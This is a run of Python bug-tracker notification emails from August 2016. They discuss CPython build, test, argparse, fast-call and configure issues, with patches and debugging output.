<1471643899.93.0.569141042934.issue27806@psf.upfronthosting.co.za> New submission from Ned Deily: Attempts to build Python 2.7 using OS X/macOS public beta versions of the latest command-line tools can fail due to the removal of the system header file for QuickTime/QuickTime.h, one of the long deprecated Carbon APIs. Currently, Python only attempts to build modules dependent on this file when building for 32-bit archs so this problem typically only affects builds with --with-universal-archs= configure options like "intel" or "intel-32". It would be nice to preserve the ability to make use of QuickTime on older systems where the header file is still available. Since the old Python mac modules don't exist in Python 3.x, this is only a 2.7 issue. ---------- assignee: ned.deily components: Build, Macintosh messages: 273159 nosy: ned.deily, ronaldoussoren priority: normal severity: normal stage: needs patch status: open title: 2.7 32-bit builds fail on future releases of OS X due to dependency on deleted header file versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 18:05:23 2016 From: report at bugs.python.org (Chris Angelico) Date: Fri, 19 Aug 2016 22:05:23 +0000 Subject: [issue27807] Prevent site-packages .pth files from causing test_site failure Message-ID: <1471644323.86.0.0589241929234.issue27807@psf.upfronthosting.co.za> New submission from Chris Angelico: Having matplotlib installed globally causes test_site to fail, due to the .pth file importing types. The point of the test is to monitor startup dependencies (and thus time) for the core interpreter and standard library, not third-party libraries, so having a test failure due to a .pth is not overly useful. Solution suggested by Steve Dower: hack out all .pth handling during this one test, leaving everything else unchanged. ---------- components: Tests messages: 273160 nosy: Rosuav priority: normal severity: normal status: open title: Prevent site-packages .pth files from causing test_site failure type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 18:06:20 2016 From: report at bugs.python.org (Chris Angelico) Date: Fri, 19 Aug 2016 22:06:20 +0000 Subject: [issue27807] Prevent site-packages .pth files from causing test_site failure In-Reply-To: <1471644323.86.0.0589241929234.issue27807@psf.upfronthosting.co.za> Message-ID: <1471644380.81.0.262156518473.issue27807@psf.upfronthosting.co.za> Changes by Chris Angelico : ---------- keywords: +patch Added file: http://bugs.python.org/file44158/no-site-packages-in-test.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 18:09:42 2016 From: report at bugs.python.org (Brett Cannon) Date: Fri, 19 Aug 2016 22:09:42 +0000 Subject: [issue26027] Support Path objects in the posix module In-Reply-To: <1452114329.99.0.617690911804.issue26027@psf.upfronthosting.co.za> Message-ID: <1471644582.73.0.37011878311.issue26027@psf.upfronthosting.co.za> Brett Cannon added the comment: Here is a patch that incorporates Serhiy's feedback. ---------- Added file: http://bugs.python.org/file44159/path_converter.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 18:10:40 2016 From: report at bugs.python.org (Brett Cannon) Date: Fri, 19 Aug 2016 22:10:40 +0000 Subject: [issue26027] Support Path objects in the posix module In-Reply-To: <1452114329.99.0.617690911804.issue26027@psf.upfronthosting.co.za> Message-ID: <1471644640.62.0.584704346647.issue26027@psf.upfronthosting.co.za> Changes by Brett Cannon : ---------- stage: test needed -> commit review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 18:42:26 2016 From: report at bugs.python.org (Ned Deily) Date: Fri, 19 Aug 2016 22:42:26 +0000 Subject: [issue26689] Add `has_flag` method to `distutils.CCompiler` In-Reply-To: <1459643481.74.0.720699620632.issue26689@psf.upfronthosting.co.za> Message-ID: <1471646546.48.0.992008637495.issue26689@psf.upfronthosting.co.za> Ned Deily added the comment: "I posted a couple of messages on distutils-sig and got little attention." OK, for future reference, the start of the discussion was here: https://mail.python.org/pipermail/distutils-sig/2016-May/029010.html It looks like the first item, the one relative to this issue, got lost in the discussion of the second item. I'm attempting to (re-)start the discussion there (my post may be awaiting moderation). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 18:51:07 2016 From: report at bugs.python.org (Brett Cannon) Date: Fri, 19 Aug 2016 22:51:07 +0000 Subject: [issue27283] Add a "What's New" entry for PEP 519 In-Reply-To: <1465513319.76.0.455637860602.issue27283@psf.upfronthosting.co.za> Message-ID: <1471647067.24.0.056935220726.issue27283@psf.upfronthosting.co.za> Brett Cannon added the comment: While I wait on various patches related to PEP 519 to land, I have gone ahead and written the What's New entry. ---------- keywords: +patch Added file: http://bugs.python.org/file44160/pep_519_whatsnew.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 18:51:14 2016 From: report at bugs.python.org (Brett Cannon) Date: Fri, 19 Aug 2016 22:51:14 +0000 Subject: [issue27283] Add a "What's New" entry for PEP 519 In-Reply-To: <1465513319.76.0.455637860602.issue27283@psf.upfronthosting.co.za> Message-ID: <1471647074.83.0.647337760168.issue27283@psf.upfronthosting.co.za> Changes by Brett Cannon : ---------- stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 19:26:36 2016 From: report at bugs.python.org (Neil Girdhar) Date: Fri, 19 Aug 2016 23:26:36 +0000 Subject: [issue27598] Add Collection to collections.abc and typing In-Reply-To: <1469288809.56.0.543825422436.issue27598@psf.upfronthosting.co.za> Message-ID: <1471649196.38.0.301566367956.issue27598@psf.upfronthosting.co.za> Neil Girdhar added the comment: (never mind about the comparison operators :) Turns out that would break backwards compatibility.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 19:27:59 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 19 Aug 2016 23:27:59 +0000 Subject: [issue27807] Prevent site-packages .pth files from causing test_site failure In-Reply-To: <1471644323.86.0.0589241929234.issue27807@psf.upfronthosting.co.za> Message-ID: <1471649279.21.0.788208688669.issue27807@psf.upfronthosting.co.za> Terry J. Reedy added the comment: I think hitting adventurous users like Chris who locally compile and test with this failure is wrong. There is no core dev 'site' expert, so I picked 'testing'. ---------- nosy: +ezio.melotti, michael.foord, terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 19:50:42 2016 From: report at bugs.python.org (Roundup Robot) Date: Fri, 19 Aug 2016 23:50:42 +0000 Subject: [issue27128] Add _PyObject_FastCall() In-Reply-To: <1464257756.81.0.101125062969.issue27128@psf.upfronthosting.co.za> Message-ID: <20160819235038.31563.83957.2EC0936E@psf.io> Roundup Robot added the comment: New changeset c2af917bde71 by Victor Stinner in branch 'default': PyFile_WriteObject() now uses fast call https://hg.python.org/cpython/rev/c2af917bde71 New changeset 0da1ce362d15 by Victor Stinner in branch 'default': import_name() now uses fast call https://hg.python.org/cpython/rev/0da1ce362d15 New changeset e5b24f595235 by Victor Stinner in branch 'default': PyErr_PrintEx() now uses fast call https://hg.python.org/cpython/rev/e5b24f595235 New changeset 154f78d387f9 by Victor Stinner in branch 'default': call_trampoline() now uses fast call https://hg.python.org/cpython/rev/154f78d387f9 New changeset 351b987d6d1c by Victor Stinner in branch 'default': sys_pyfile_write_unicode() now uses fast call https://hg.python.org/cpython/rev/351b987d6d1c New changeset abb93035ebb7 by Victor Stinner in branch 'default': _elementtree: deepcopy() now uses fast call https://hg.python.org/cpython/rev/abb93035ebb7 New changeset 2954d2aa4c90 by Victor Stinner in branch 'default': pattern_subx() now uses fast call https://hg.python.org/cpython/rev/2954d2aa4c90 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 19:59:55 2016 From: report at bugs.python.org (Casey Lucas) Date: Fri, 19 Aug 2016 23:59:55 +0000 Subject: [issue27808] os.waitpid does not return (0, 0) when child has not exited (FreeBSD) Message-ID: <1471651195.23.0.67845273163.issue27808@psf.upfronthosting.co.za> New submission from Casey Lucas: I'm not sure if this a Python issue or a FreeBSD issue but the return value from os.waitpid is not reliably (0,0) on FreeBSD when the WNOHANG is used and the child process has not yet exited. Python docs say that the return value will be (0,0) but this is not the case. I believe it is because the FreeBSD implementation of waitpid writes an uninitialized value to the status field when a child process is not available. See also: http://stackoverflow.com/questions/38984449/is-status-value-from-os-waitpid-unreliable-when-os-wnohang-is-used-under-freebsd Maybe this is just a documentation issue? Or does the C code in the Python library need to handle this case? ---------- components: FreeBSD, Library (Lib) files: waitpid_test.py messages: 273167 nosy: Casey Lucas, koobs priority: normal severity: normal status: open title: os.waitpid does not return (0,0) when child has not exited (FreeBSD) versions: Python 2.7, Python 3.4 Added file: http://bugs.python.org/file44161/waitpid_test.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 20:14:25 2016 From: report at bugs.python.org (paul j3) Date: Sat, 20 Aug 2016 00:14:25 +0000 Subject: [issue12713] argparse: allow abbreviation of sub commands by users In-Reply-To: <1312854957.22.0.437190269629.issue12713@psf.upfronthosting.co.za> Message-ID: <1471652065.46.0.745493133979.issue12713@psf.upfronthosting.co.za> paul j3 added the comment: I haven't read the discussion in full, but it looks like this patch was added without any recent discussion or testing. Previously if we had `choices=['a','abc']`, any exact match would be accepted, and partial matches rejected. With this change the only choice that will work is the longest, 'abc'. The other will be rejected as ambiguous. In contrast with optionals flags, an exact match has priority over (possibly ambiguous) abbreviations. See parser._parse_optional I also noticed when testing this that for regular 'choices', the abbreviated string is put in the Namespace. add_argument('--foo', choices = ['one','two']) can produce `Namespace(foo='on')`. I suspect most developers would want `Namespace(foo='one')`, regardless of whether it was an exact match or partial. You don't list choices if you are ok with partial matches. This isn't a problem with `subparsers`, since an abbreviation match still invokes the right subparser, and even puts the right name in 'subparsers' dest. But for regular choices the behavior is highly debatable. This needs to be reverted. It may be fixable, but it needs more testing and discussion. For now it's an enhancement that is causing backward compatibility problems. ps I missed this issue when I made an effort to find all argparse issues several years ago. I contributed to https://bugs.python.org/issue14365, the other abbreviations issue mentioned in the recent github thread. ---------- keywords: +needs review -patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 20:15:46 2016 From: report at bugs.python.org (Martin Panter) Date: Sat, 20 Aug 2016 00:15:46 +0000 Subject: [issue27805] In Python 3, open('/dev/stdout', 'a') raises OSError with errno=ESPIPE In-Reply-To: <1471637472.92.0.246311076418.issue27805@psf.upfronthosting.co.za> Message-ID: <1471652146.6.0.0785899653023.issue27805@psf.upfronthosting.co.za> Martin Panter added the comment: The origin of this seems to be r68835 and Issue 5008. Victor mentioned imitating the Gnu C library. Maybe there is a better way that also supports non-seekable files better, perhaps handle ESPIPE without failing. This also affects Python 2, if you consider io.open() or io.FileIO directly. ---------- nosy: +haypo, martin.panter versions: +Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 20:21:26 2016 From: report at bugs.python.org (STINNER Victor) Date: Sat, 20 Aug 2016 00:21:26 +0000 Subject: [issue27809] _PyObject_FastCall(): add support for keyword arguments Message-ID: <1471652485.87.0.888349728997.issue27809@psf.upfronthosting.co.za> New submission from STINNER Victor: _PyObject_FastCall() (added in the issue #27128) already supports keyword arguments for C functions, but not Python functions. Attached patch adds support for keyword arguments in _PyFunction_FastCall(), to allow to use _PyObject_FastCall() in more cases. Examples of functions that can be modified to _PyObject_FastCall() with this change: * builtin_sorted() * builtin___build_class__() * init_subclass() * PyEval_CallObjectWithKeywords(func, NULL, kwargs) * methoddescr_call(), classmethoddescr_call(), wrapperdescr_call() * PyFile_GetLine() Moreover, supporting keywords is required for another more important step: add a new METH_CALL calling convention for C functions. ---------- files: fastcall_kwargs.patch keywords: patch messages: 273170 nosy: haypo, serhiy.storchaka priority: normal severity: normal status: open title: _PyObject_FastCall(): add support for keyword arguments type: performance versions: Python 3.6 Added file: http://bugs.python.org/file44162/fastcall_kwargs.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 20:31:52 2016 From: report at bugs.python.org (STINNER Victor) Date: Sat, 20 Aug 2016 00:31:52 +0000 Subject: [issue27805] In Python 3, open('/dev/stdout', 'a') raises OSError with errno=ESPIPE In-Reply-To: <1471637472.92.0.246311076418.issue27805@psf.upfronthosting.co.za> Message-ID: <1471653112.08.0.164157719557.issue27805@psf.upfronthosting.co.za> STINNER Victor added the comment: Syscalls made by open("/dev/stdout", "a") in Python 2: open("/dev/stdout", O_WRONLY|O_CREAT|O_APPEND, 0666) = 3 lseek(3, 0, SEEK_END) = -1 ESPIPE (Illegal seek) fstat(3, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0 I used this comand: $ strace -o trace python2 -c 'import os; os.uname();os.uname();os.uname(); f=open("/dev/stdout", "a"); os.uname(); f.close()' It looks like the C library simply ignores ESPIPE on lseek(fd, 0, SEEK_END) when opening a file in append mode: https://sourceware.org/git/?p=glibc.git;a=blob;f=libio/fileops.c;h=13157354272ff9ab1832d4a619a81f05898fcd69;hb=HEAD#l242 if ((read_write & _IO_IS_APPENDING) && (read_write & _IO_NO_READS)) if (_IO_SEEKOFF (fp, (_IO_off64_t)0, _IO_seek_end, _IOS_INPUT|_IOS_OUTPUT) == _IO_pos_BAD && errno != ESPIPE) { close_not_cancel (fdesc); return NULL; } from _IO_file_open() file operation. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 20:32:24 2016 From: report at bugs.python.org (STINNER Victor) Date: Sat, 20 Aug 2016 00:32:24 +0000 Subject: [issue27805] In Python 3, open('/dev/stdout', 'a') raises OSError with errno=ESPIPE In-Reply-To: <1471637472.92.0.246311076418.issue27805@psf.upfronthosting.co.za> Message-ID: <1471653144.05.0.577823944018.issue27805@psf.upfronthosting.co.za> STINNER Victor added the comment: > Users of Supervisor have been depending on that for a long time. Hum, the workaround is very simple no? Just open /dev/stdout with mode "w", no? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 20:32:46 2016 From: report at bugs.python.org (STINNER Victor) Date: Sat, 20 Aug 2016 00:32:46 +0000 Subject: [issue27810] Add METH_FASTCALL: new calling convention for C functions Message-ID: <1471653166.26.0.257085519078.issue27810@psf.upfronthosting.co.za> New submission from STINNER Victor: The issue #27128 added _PyObject_FastCall() to avoid the creation of temporary tuples when calling functions. I propose to add a new METH_FASTCALL calling convention. The example using METH_VARARGS | METH_KEYWORDS: PyObject* func(DirEntry *self, PyObject *args, PyObject *kwargs) becomes: PyObject* func(DirEntry *self, PyObject **args, int nargs, PyObject *kwargs) Using METH_VARARGS, args is a Python tuple. Using METH_FASTCALL, args is a C array of PyObject*, and there is a second nargs parameter. Later, Argument Clinic will be modified to *generate* code using the new METH_FASTCALL calling convention. Code written with Argument Clinic will only need to be updated by Argument Clinic to get the new faster calling convention (avoid the creation of a temporary tuple for positional arguments). This issue depends on the issue #27809 "_PyObject_FastCall(): add support for keyword arguments". I will wait until this dependency is implemented, before working on the implementation of this part. For a full implementation, see my first attempt in the issue #26814. I will extract the code from this branch to write a new patch. ---------- messages: 273173 nosy: haypo priority: normal severity: normal status: open title: Add METH_FASTCALL: new calling convention for C functions type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 20:32:48 2016 From: report at bugs.python.org (STINNER Victor) Date: Sat, 20 Aug 2016 00:32:48 +0000 Subject: [issue27810] Add METH_FASTCALL: new calling convention for C functions In-Reply-To: <1471653166.26.0.257085519078.issue27810@psf.upfronthosting.co.za> Message-ID: <1471653168.86.0.983786268705.issue27810@psf.upfronthosting.co.za> Changes by STINNER Victor : ---------- dependencies: +_PyObject_FastCall(): add support for keyword arguments _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 20:32:56 2016 From: report at bugs.python.org (STINNER Victor) Date: Sat, 20 Aug 2016 00:32:56 +0000 Subject: [issue27810] Add METH_FASTCALL: new calling convention for C functions In-Reply-To: <1471653166.26.0.257085519078.issue27810@psf.upfronthosting.co.za> Message-ID: <1471653176.63.0.242512377715.issue27810@psf.upfronthosting.co.za> Changes by STINNER Victor : ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 20:38:51 2016 From: report at bugs.python.org (Roundup Robot) Date: Sat, 20 Aug 2016 00:38:51 +0000 Subject: [issue27366] PEP487: Simpler customization of class creation In-Reply-To: <1466579967.76.0.483118833643.issue27366@psf.upfronthosting.co.za> Message-ID: <20160820003845.9672.77626.399E12D9@psf.io> Roundup Robot added the comment: New changeset 545bfa4c20eb by Victor Stinner in branch 'default': Issue #27366: Fix init_subclass() https://hg.python.org/cpython/rev/545bfa4c20eb ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 20:42:08 2016 From: report at bugs.python.org (STINNER Victor) Date: Sat, 20 Aug 2016 00:42:08 +0000 Subject: [issue27128] Add _PyObject_FastCall() In-Reply-To: <1464257756.81.0.101125062969.issue27128@psf.upfronthosting.co.za> Message-ID: <1471653728.48.0.0929445783549.issue27128@psf.upfronthosting.co.za> STINNER Victor added the comment: I created two new issues: * issue #27809: _PyObject_FastCall(): add support for keyword arguments * issue #27810: Add METH_FASTCALL: new calling convention for C functions ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 20:44:55 2016 From: report at bugs.python.org (STINNER Victor) Date: Sat, 20 Aug 2016 00:44:55 +0000 Subject: [issue25746] test_unittest failure in leaks searching mode In-Reply-To: <1448647651.46.0.84768072047.issue25746@psf.upfronthosting.co.za> Message-ID: <1471653895.53.0.999419716824.issue25746@psf.upfronthosting.co.za> STINNER Victor added the comment: While checking that I didn't introduce a reference leak recently with my changes around _PyObject_FastCall(), I found the same issue: test_unittest doesn't work with regrtest -R. I get the same error: $ ./python -m test -R 0:1 -v test_unittest ====================================================================== ERROR: test_discover_with_init_module_that_raises_SkipTest_on_import (unittest.test.test_discovery.TestDiscovery) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/haypo/prog/python/default/Lib/unittest/test/test_discovery.py", line 572, in test_discover_with_init_module_that_raises_SkipTest_on_import pickle.loads(pickle.dumps(suite, proto)) _pickle.PicklingError: Can't pickle : attribute lookup ModuleSkipped on unittest.loader failed ====================================================================== ERROR: test_discover_with_module_that_raises_SkipTest_on_import (unittest.test.test_discovery.TestDiscovery) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/haypo/prog/python/default/Lib/unittest/test/test_discovery.py", line 548, in test_discover_with_module_that_raises_SkipTest_on_import pickle.loads(pickle.dumps(suite, proto)) _pickle.PicklingError: Can't pickle : attribute lookup ModuleSkipped on unittest.loader failed ---------------------------------------------------------------------- ---------- nosy: +haypo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 21:06:53 2016 From: report at bugs.python.org (Roundup Robot) Date: Sat, 20 Aug 2016 01:06:53 +0000 Subject: [issue26823] Shrink recursive tracebacks In-Reply-To: <1461292585.22.0.159887337407.issue26823@psf.upfronthosting.co.za> Message-ID: <20160820010649.90288.16381.9F4E5938@psf.io> Roundup Robot added the comment: New changeset a7f3678f9509 by Victor Stinner in branch 'default': Fix reference leak in tb_printinternal() https://hg.python.org/cpython/rev/a7f3678f9509 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 21:18:28 2016 From: report at bugs.python.org (Martin Panter) Date: Sat, 20 Aug 2016 01:18:28 +0000 Subject: [issue27800] Regular expressions with multiple repeat codes In-Reply-To: <1471608420.14.0.872966965651.issue27800@psf.upfronthosting.co.za> Message-ID: <1471655908.57.0.577348618635.issue27800@psf.upfronthosting.co.za> Martin Panter added the comment: Okay so it sounds like my usage is valid if I add the brackets. I will try to come up with a documentation patch as some stage. The reason why it is not supported without brackets is to maintain a bit of consistency with the question mark (?), which modifies the preceding quantifier, and with the plus sign (+), which is also a modifier in other implementations. For the record, Gnu grep does seem to accept my expression (although Posix says this is undefined, and neither support lazy or possessive quantifiers): $ grep -E -o 'a{2}*' <<< "aaaaa" aaaa However pcregrep, which supports lazy (?) and possessive (+) quantifiers, doesn?t like my expression: $ pcregrep -o 'a{2}*' <<< "aaaaa" pcregrep: Error in command-line regex at offset 4: nothing to repeat [Exit 2] $ pcregrep -o '(?:a{2})*' <<< "aaaaa" aaaa ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 21:22:11 2016 From: report at bugs.python.org (STINNER Victor) Date: Sat, 20 Aug 2016 01:22:11 +0000 Subject: [issue23968] rename the platform directory from plat-$(MACHDEP) to plat-$(PLATFORM_TRIPLET) In-Reply-To: <1429124647.47.0.946423694262.issue23968@psf.upfronthosting.co.za> Message-ID: <1471656131.86.0.55460078316.issue23968@psf.upfronthosting.co.za> STINNER Victor added the comment: Any update on this issue? test_srcdir() of test_sysconfig still fails on "x86 Gentoo Installed with X 3.x" buildbot. I opened the issue #27798 which was closed a duplicate of this issue. First failure of the buildbot: http://buildbot.python.org/all/builders/x86%20Gentoo%20Installed%20with%20X%203.x/builds/747 This build contains many changes. I don't know which one introduced the issue? * change a062c60c9f7d60db2b63af88e2d676e617398d01: Update distutils/sysconfig.py to look for the renamed _sysconfigdata module too * change 78d2cb7f66b602ec496800fbbe71e590c0f56b00: Rename the platform directory from plat-$(MACHDEP) to plat-$(PLATFORM_TRIPLET) Ned Deily: "This needs to be fixed before release." I agree. I use the release blocker priority as a reminder. Well, if the issue cannot be fixed, I suggest to revert changes related to this issue. "It's not just broken for cross-compiling. As I noted earlier, it's broken when using other than gcc, such as is the case with current OS X systems." test_sysconfig fails on "x86 Gentoo Installed with X 3.x" buildbot which uses GCC. Extract of the configure output: checking for gcc... gcc ---------- nosy: +haypo priority: critical -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 21:35:27 2016 From: report at bugs.python.org (bananaapple) Date: Sat, 20 Aug 2016 01:35:27 +0000 Subject: [issue22021] shutil.make_archive() root_dir do not work In-Reply-To: <1405936213.68.0.143186152462.issue22021@psf.upfronthosting.co.za> Message-ID: <1471656927.69.0.780185568045.issue22021@psf.upfronthosting.co.za> bananaapple added the comment: I am sorry. I understand now. Thank you. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 21:45:18 2016 From: report at bugs.python.org (Ned Deily) Date: Sat, 20 Aug 2016 01:45:18 +0000 Subject: [issue26689] Add `has_flag` method to `distutils.CCompiler` In-Reply-To: <1459643481.74.0.720699620632.issue26689@psf.upfronthosting.co.za> Message-ID: <1471657518.18.0.432175294644.issue26689@psf.upfronthosting.co.za> Ned Deily added the comment: https://mail.python.org/pipermail/distutils-sig/2016-August/029469.html ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 21:46:25 2016 From: report at bugs.python.org (Ned Deily) Date: Sat, 20 Aug 2016 01:46:25 +0000 Subject: [issue12713] argparse: allow abbreviation of sub commands by users In-Reply-To: <1312854957.22.0.437190269629.issue12713@psf.upfronthosting.co.za> Message-ID: <1471657585.2.0.390063930393.issue12713@psf.upfronthosting.co.za> Changes by Ned Deily : ---------- priority: normal -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 21:56:34 2016 From: report at bugs.python.org (Matthias Klose) Date: Sat, 20 Aug 2016 01:56:34 +0000 Subject: [issue23968] rename the platform directory from plat-$(MACHDEP) to plat-$(PLATFORM_TRIPLET) In-Reply-To: <1429124647.47.0.946423694262.issue23968@psf.upfronthosting.co.za> Message-ID: <1471658194.36.0.337978236388.issue23968@psf.upfronthosting.co.za> Matthias Klose added the comment: please could somebody test the attached patch (I'm also trying to setup a gentoo env)? The idea is to keep the multiarch and triplet macros in sync. diff -r a7f3678f9509 configure.ac --- a/configure.ac Sat Aug 20 03:05:13 2016 +0200 +++ b/configure.ac Sat Aug 20 03:54:39 2016 +0200 @@ -882,6 +882,8 @@ if test x$PLATFORM_TRIPLET != x$MULTIARCH; then AC_MSG_ERROR([internal configure error for the platform triplet, please file a bug report]) fi +elif test x$PLATFORM_TRIPLET != x && test x$MULTIARCH = x; then + MULTIARCH=$PLATFORM_TRIPLET fi if test x$PLATFORM_TRIPLET = x; then PLATDIR=plat-$MACHDEP ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 22:13:32 2016 From: report at bugs.python.org (Roundup Robot) Date: Sat, 20 Aug 2016 02:13:32 +0000 Subject: [issue27713] Spurious "platform dependent libraries" warnings when running make In-Reply-To: <1470679566.14.0.658709147971.issue27713@psf.upfronthosting.co.za> Message-ID: <20160820021329.89401.32003.9ABB735A@psf.io> Roundup Robot added the comment: New changeset 97b996d81c62 by Ned Deily in branch '3.5': Issue #27713: Surpress spurious build warnings when updating importlib's https://hg.python.org/cpython/rev/97b996d81c62 New changeset 751ca458d669 by Ned Deily in branch 'default': Issue #27713: merge from 3.5 https://hg.python.org/cpython/rev/751ca458d669 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Aug 19 22:16:03 2016 From: report at bugs.python.org (Ned Deily) Date: Sat, 20 Aug 2016 02:16:03 +0000 Subject: [issue27713] Spurious "platform dependent libraries" warnings when running make In-Reply-To: <1470679566.14.0.658709147971.issue27713@psf.upfronthosting.co.za> Message-ID: <1471659363.59.0.413685570998.issue27713@psf.upfronthosting.co.za> Ned Deily added the comment: That was easy; thanks, Xiang Zhang! Pushed for release in 3.5.3 and 3.6.0. ---------- resolution: -> fixed stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 20 00:18:40 2016 From: report at bugs.python.org (Chi Hsuan Yen) Date: Sat, 20 Aug 2016 04:18:40 +0000 Subject: [issue23968] rename the platform directory from plat-$(MACHDEP) to plat-$(PLATFORM_TRIPLET) In-Reply-To: <1429124647.47.0.946423694262.issue23968@psf.upfronthosting.co.za> Message-ID: <1471666720.52.0.363197462802.issue23968@psf.upfronthosting.co.za> Chi Hsuan Yen added the comment: I've just tried doko's patch on Arch Linux. Before this patch there are three test failures in test_distutils and test_sysconfig, just like Gentoo. After the patch, all tests in test_distutils and test_sysconfig pass. On my PC both `gcc -print-multiarch` and `gcc --print-multiarch` print an empty string. By the way, could you attach this patch file to roundup, so that others can download it? Reference: Arch Linux's build script of python-hg: https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=python-hg ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 20 00:20:53 2016 From: report at bugs.python.org (Berker Peksag) Date: Sat, 20 Aug 2016 04:20:53 +0000 Subject: [issue27283] Add a "What's New" entry for PEP 519 In-Reply-To: <1465513319.76.0.455637860602.issue27283@psf.upfronthosting.co.za> Message-ID: <1471666853.4.0.172585850073.issue27283@psf.upfronthosting.co.za> Berker Peksag added the comment: pep_519_whatsnew.diff looks pretty good to me, thanks! It would be nice to add a simple example to demonstrate the feature (like we did for PEP 498: https://docs.python.org/3.6/whatsnew/3.6.html#pep-498-formatted-string-literals) >>> import pathlib >>> with open(pathlib.Path('README')) as f: ... readme = f.read() ... ---------- nosy: +berker.peksag stage: patch review -> commit review type: -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 20 01:39:20 2016 From: report at bugs.python.org (Caleb Hattingh) Date: Sat, 20 Aug 2016 05:39:20 +0000 Subject: [issue11602] python-config code should be in sysconfig In-Reply-To: <1300475478.49.0.935411639754.issue11602@psf.upfronthosting.co.za> Message-ID: <1471671560.27.0.575225389096.issue11602@psf.upfronthosting.co.za> Changes by Caleb Hattingh : ---------- nosy: +cjrh _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 20 01:49:05 2016 From: report at bugs.python.org (Caleb Hattingh) Date: Sat, 20 Aug 2016 05:49:05 +0000 Subject: [issue12982] Document that importing .pyo files needs python -O In-Reply-To: <1316032363.3.0.192750692303.issue12982@psf.upfronthosting.co.za> Message-ID: <1471672145.75.0.702544252073.issue12982@psf.upfronthosting.co.za> Caleb Hattingh added the comment: Presumably PEP488 (and the 4 years of inactivity) means that this issue could be closed? ---------- nosy: +cjrh _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 20 01:53:46 2016 From: report at bugs.python.org (Caleb Hattingh) Date: Sat, 20 Aug 2016 05:53:46 +0000 Subject: [issue12294] multiprocessing.Pool: Need a way to find out if work are finished. In-Reply-To: <1307627992.49.0.467043384727.issue12294@psf.upfronthosting.co.za> Message-ID: <1471672426.99.0.787945721309.issue12294@psf.upfronthosting.co.za> Changes by Caleb Hattingh : ---------- nosy: +cjrh _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 20 03:01:19 2016 From: report at bugs.python.org (Roundup Robot) Date: Sat, 20 Aug 2016 07:01:19 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1462844071.91.0.106881823757.issue26988@psf.upfronthosting.co.za> Message-ID: <20160820070116.773.8326.B9CA786D@psf.io> Roundup Robot added the comment: New changeset 2e243f78720e by Ethan Furman in branch 'default': Issue26988: remove AutoEnum https://hg.python.org/cpython/rev/2e243f78720e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 20 03:02:02 2016 From: report at bugs.python.org (Ethan Furman) Date: Sat, 20 Aug 2016 07:02:02 +0000 Subject: [issue26988] Add AutoNumberedEnum to stdlib In-Reply-To: <1462844071.91.0.106881823757.issue26988@psf.upfronthosting.co.za> Message-ID: <1471676522.63.0.274552437266.issue26988@psf.upfronthosting.co.za> Changes by Ethan Furman : ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Aug 20 03:03:00 2016 From: report at bugs.python.org (Ethan Furman) Date: Sat, 20 Aug 2016 07:03:00 +0000 Subject: [issue26266] add classattribute to enum to handle non-Enum attributes In-Reply-To: <1454430451.09.0.888937739305.issue26266@psf.upfronthosting.co.za> Message-ID: <1471676580.46.0.267493008227.issue26266@psf.upfronthosting.co.za> Ethan Furman added the comment: We'll keep the stdlib version simple. ---------- resolution: -> rejected stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker 